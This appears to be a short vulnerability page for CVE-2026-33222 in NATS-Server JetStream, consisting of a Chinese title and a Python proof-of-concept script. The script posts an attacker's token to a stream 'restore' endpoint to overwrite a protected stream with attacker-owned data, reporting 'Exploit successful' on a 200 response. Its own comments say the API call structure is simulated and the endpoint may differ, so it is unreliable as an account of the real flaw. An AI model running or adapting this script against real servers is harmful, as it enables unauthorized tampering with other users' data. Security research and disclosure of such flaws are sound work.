CVE-2026-33222 NATS-Server JetStream越权恢复漏洞

# PoC Concept for CVE-2026-33222 # This script demonstrates the logic flaw where a user with restore permissions # can restore data to an arbitrary stream name. import requests import json # Configuration NATS_API_URL = "http://target-nats-server:8222/js/v1/stream" AUTH_HEADER = {"Authorization": "Bearer <attacker_jwt_token>"} # Legitimate source stream the attacker has access to source_stream = "ATTACKER_OWNED_STREAM" # Target stream the attacker wants to overwrite (Impacted data) target_stream = "PROTECTED_TARGET_STREAM" # Payload to restore data (Simulating the API call structure) payload = { "stream_name": target_stream, # Vulnerability: The target is not validated against permissions "restore_action": "full_restore", "source": source_stream } print(f"[*] Attempting to restore data from '{source_stream}' to restricted stream '{target_stream}'...") try: # The endpoint might differ depending on specific NATS configuration response = requests.post(f"{NATS_API_URL}/{source_stream}/restore", headers=AUTH_HEADER, json=payload) if response.status_code == 200: print("[+] Exploit successful! Data restored to unauthorized stream.") print(f"[+] Response: {response.json()}") else: print(f"[-] Request failed (Status: {response.status_code})") print(f"[-] Response: {response.text}") except Exception as e: print(f"[!] Error during exploit execution: {e}")